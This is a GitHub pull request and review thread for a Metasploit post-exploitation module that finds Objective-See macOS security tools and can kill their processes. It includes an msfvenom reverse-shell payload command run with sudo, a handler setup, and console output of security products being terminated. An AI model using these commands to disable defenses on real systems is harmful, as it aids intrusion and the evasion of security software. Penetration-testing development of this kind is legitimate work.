Skip to content

Add Objective See Hunter Module: OSX Antivirus Enumeration and Disablement#20813

Open
gardnerapp wants to merge 27 commits intorapid7:masterfrom
gardnerapp:objective_see_hunter
Open

Add Objective See Hunter Module: OSX Antivirus Enumeration and Disablement#20813
gardnerapp wants to merge 27 commits intorapid7:masterfrom
gardnerapp:objective_see_hunter

Conversation

@gardnerapp
Copy link
Contributor

This module fulfills feature request 20447 for enumeration Objective See security projects such as LuLu, BlockBlock, Do No Disturb, Rei Key, Ransom Where and OverSight. The module checks for the presence of the .app folder for each product within the /Applications folder i.e. /Applications/LuLu.app etc. For each of the products discovered the module will also find the pids associated with that application. Lastly, when the KILL_PROCESSES option is enabled the module will send kill signals to the application(s) pids so long as the session has root privileges.

Verification

This module should be OS version and architecture independent. The following test were conducted on an OSX system with LuLu and BlockBlock installed. Installation for Objective See's products can be found here

  1. Create a payload and start a session w a handler
msfvenom -p osx/aarch64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f macho -o payload && sudo chmod +x payload && sudo ./payload

msfconsole -x "use exploit/multi/handler; set payload osx/aarch64/meterpreter/reverse_tcp; set lhost 127.0.0.1; set lport 4444; run" 
  1. Once a session is obtained use the post/osx/manage/objective_see_hunter module
msf exploit(multi/handler) > use post/osx/manage/objective_see_killer
msf post(osx/manage/objective_see_killer) > options

Module options (post/osx/manage/objective_see_killer):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   KILL_PROCESSES  false            yes       Kills processes of installed objective see products.   
                                                                  Requires root privileges. 
                                           
   SESSION                          yes       The session to run this module on

msf post(osx/manage/objective_see_killer) > set session 1 
session => 1
msf post(osx/manage/objective_see_killer) > run
[*] Retrieving process list...
[*] Enumerating Objective See security products...
[+] The following Objective See products were found installed on the system:
[*] Found LuLu with pids of [706]
[*] Found BlockBlock Helper with pids of [701, 288]
[*] Post module execution completed
  1. (optional) Disable the products by setting KILL_PROCESSES to true
msf post(osx/manage/objective_see_killer) > set KILL_PROCESSES true 
KILL_PROCESSES => true
[*] Retrieving process list...
[*] Enumerating Objective See security products...
[+] The following Objective See products were found installed on the system:
[*] Found LuLu with pids of [3945]
[*] Found BlockBlock Helper with pids of [3947, 3946]
[*] Attempting to kill pid(s) [3945] for LuLu
[+] Kill signal was successful for 3945
[*] Attempting to kill pid(s) [3947, 3946] for BlockBlock Helper
[+] Kill signal was successful for 3947
[+] Kill signal was successful for 3946

Thanks again.

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @gardnerapp for this module! I left a few comments and suggestions for you to review. Please, add the related documentation.

Also, I believe this module is more a "gather" module type, since the default action is to list Objective-See processes. I believe it should located under modules/post/osx/gather/ instead.

end

# Holds information on an Objective-See product. i.e name, installation status and location on filesystem.
class ObjectiveSee
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm just wondering, is there any real need to define a nested class just to check if a process name is part of a process list? This is not a pattern we often see. This requires global variables, instance variables, passing Metasploit object and other complex operations. Unless I'm missing something, I'm not sure all of this is necessary.

I believe searching directly in the hash returned by get_processes in the #run method would be enough. Something along these lines:

proc_list = ['LuLu', 'BlockBlock Helper', 'Do Not Disturb', 'ReiKey', 'RansomWhere', 'OverSight']
processes = get_processes
# ... validate we have processes and catch any exceptions.

installed = processes.select { |proc| proc_list.include?(proc['name']) }

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Although defining a nested class may not be necessary for checking if.a string is present in the process list I think that if we want to go the route of tracking between installed but not running vs running this nested class provides a lot of utility for tracking which products are installed through the @@installed_products class variable.

Additionally defining a separate class allows us to organize the data associated with each product i.e. it's install path, name and PID if any in a more accessible way than with a hash. Currently this module supports shutting down the process by sending a kill signal to the PID.

Originally when brainstorming the module we were brainstorming this module in 20447 we wanted to add support for uninstalling these products from the system. I haven't implemented this logic yet but wanted to see how everyone feels about adding additional complexity to this module. I had planned to add method(s) to the ObjectiveSee class to execute the uninstall process.

Lastly, I think one of the primary reasons for keeping data in the nested class is that it is a very cool way to demonstrate the meta programming capabilities of send 😂!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We usually discourage the use of class variables in Metasploit, which could lead to some hard-to-find bugs. For example, using a class variable might cause issues if the module is run multiple times, since the class variable would persist across runs.
I ran the module multiple times, which caused the same data being added to the @@installed_products class variable:

[*] Enumerating Objective-See security products...
[+] The following Objective-See products were found installed on the system:
[+] Found LuLu with pid [933]
[+] Found LuLu with pid [933]
[+] Found LuLu with pid [933]
[+] Found LuLu with pid [933]
[*] Post module execution completed

In my opinion, tracking installed softwares can easily be done in an array of hashes, a null pid would simply mean not running. For example, LuLu runing with a PID of 345 and OverSight installed but not running would be:

[
  {
    name: 'LuLu',
    pid: 345
  },
  {
    name: 'OverSight',
    pid: nil
  }
]

Another simpler option would be to have a loop around the product names and directly takes the actions in the loop itself. Something along these lines:

product_list.each do |product_name|
  if installed?(product_name)
    print_good("Product installed...")
  end
  proc = processes.find {|proc| proc['name'] =~ /#{product_name}/i} # or whatever more suitable lookup logic
  if proc
    print_good("Product running...")
    kill_process proc['pid'] if datastore['KILL_PROCESSES']
  end
end

That said, I'm also fine having a class if we want to encapsulate more capabilities, such has listing installation paths, listing processes PIDs, killing processes, uninstalling applications etc. In this case, we usually prefer having a dedicated mixin file for this class (maybe under lib/msf/core/post/osx/).

You're right meta-programming is cool, but it also increase the complexity and turn modules harder to maintain. We try to minimize the use of meta-programming as much as possible.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I did not know about the issue with class variables and you raise some other good points. Ultimately, you're the more experienced developer and I trust what you're saying. Let me know how you want to move forward. Let me know where you want to go with this. Not in a rush for this PR and would like to add the logic for uninstalling the products but need to know which way we should go with this. Thanks !

'License' => MSF_LICENSE,
'Author' => [ 'gardnerapp' ],
'Platform' => [ 'osx' ],
'SessionTypes' => 'meterpreter', # ˇTODO test on non-meterpreter sessions
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Where you able to test this module with shell sessions?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not yet

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested with a shell session and I noticed some timeout issues with get_process. For some reasons, it takes a long time to return when executing the command ps aux. I quick fixed this by editing the lib/msf/core/post/process.rb library file and adding a greater timeout than the default one (here):

ps_aux = cmd_exec('ps', 'aux', 240).split("\n")

Other than that, it works great with shell sessions :)

Please, let me know if run into the same issue. I'll have a closer look for a better fix.

@cdelafuente-r7 cdelafuente-r7 moved this from Todo to In Progress in Metasploit Kanban Jan 13, 2026
@cdelafuente-r7 cdelafuente-r7 moved this from In Progress to Waiting on Contributor in Metasploit Kanban Jan 13, 2026
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for updating the code. I left a few more comments and suggestions.

It looks like CI tests are failing on code lint. Would it be possible to address the issues reported by rubocop?

> rubocop modules/post/osx/gather/objective_see_hunter.rb
Inspecting 1 file
W

Offenses:

modules/post/osx/gather/objective_see_hunter.rb:24:9: C: [Correctable] Layout/LeadingCommentSpace: Missing space after #.
        #'SessionTypes' => 'meterpreter', # ˇTODO test on non-meterpreter sessions
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modules/post/osx/gather/objective_see_hunter.rb:25:9: W: Lint/ModuleEnforceNotes: Module is missing the Notes section which must include Stability, Reliability and SideEffects] - https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
        'References' => [
        ^^^^^^^^^^^^
modules/post/osx/gather/objective_see_hunter.rb:47:5: C: Style/ClassVars: Replace class var @@installed_products with a class instance var.
    @@installed_products = []
    ^^^^^^^^^^^^^^^^^^^^
modules/post/osx/gather/objective_see_hunter.rb:106:1: C: [Correctable] Layout/TrailingWhitespace: Trailing whitespace detected.
modules/post/osx/gather/objective_see_hunter.rb:108:19: C: [Correctable] Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.
      print_error("No Objective-See products were found to be installed on the system.")
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

1 file inspected, 5 offenses detected, 3 offenses autocorrectable

Comment on lines +77 to +78
'LuLu', 'BlockBlock Helper', 'Do Not Disturb',
'ReiKey', 'RansomWhere', 'OverSight'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be possible to have the list of products configurable by the user? This could be an option for the list or an option with the path of an external file, or both. This module could be a great choice for whoever wants to list/kill security products on Mac, not only Objective-See products.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Love the idea. They'd have to specify the whole file path. We could provide some default products I'll do some digging to see what everyone's using. I know CleanMyMac is pretty popular. Another idea I had was grabbing the versions of the products, this would be useful because it would give a solid picture of the current systems maintenance but also could be used to find exploitable products.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

However this may add additionally complexity and less flexibility for our code if we want to uninstall products. I know that windows has a whole list of modules evasion and also has a singular module for enumerating antivirus.

Definitely would like to see a master OSX AV enum module, lets call this module A. Let's suppose we build that for a host of products and keep this module as dedicated to Objective-See product enumeration, process killing and installation. This is module B.

In this scenario it makes no sense to re-write code from module B to module A. What I'm wondering is in this scenario could we run module B and call code in module A? 🤔 This would be some very interesting code if it is possible and could potentially be a new pattern of programming for future modules. Just a thought.

@cdelafuente-r7 cdelafuente-r7 moved this from Waiting on Contributor to In Progress in Metasploit Kanban Jan 26, 2026
@cdelafuente-r7
Copy link
Contributor

I also think a generic macOS AV enumeration module would be a good idea. Since Metasploit is not designed to call one module from another, and doing so typically requires complex, non-recommended workarounds, we should implement a separate mixin (library) if code sharing is required. This approach is cleaner and allows for unit testing (specs) to ensure code quality.

Regarding your proposal, a single AV enumeration module is preferable to avoid user confusion. I suggest the following:

Consolidate all logic (enumeration, termination, and uninstallation) and data structures within the module.

  • Remove nested classes. Metasploit modules should generally be self-contained within the MetasploitModule class to ensure full access to helpers and internal data.
  • If a nested class is strictly necessary, avoid class variables and do not pass the MetasploitModule instance to it. Use the class only to store process-specific data (e.g., PID, path, name).
  • Implement user-configurable options as previously discussed.
  • Report all detected or running AV instances.
  • Add the documentation.

If you agree with this direction, I would suggest to close this PR and submit a fresh one. I am happy to help with this implementation.

@cdelafuente-r7 cdelafuente-r7 moved this from In Progress to Waiting on Contributor in Metasploit Kanban Jan 29, 2026
@gardnerapp
Copy link
Contributor Author

I'll get to it this weekend. I already started removing the class variables, that pattern works well in Rails but not here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

4 participants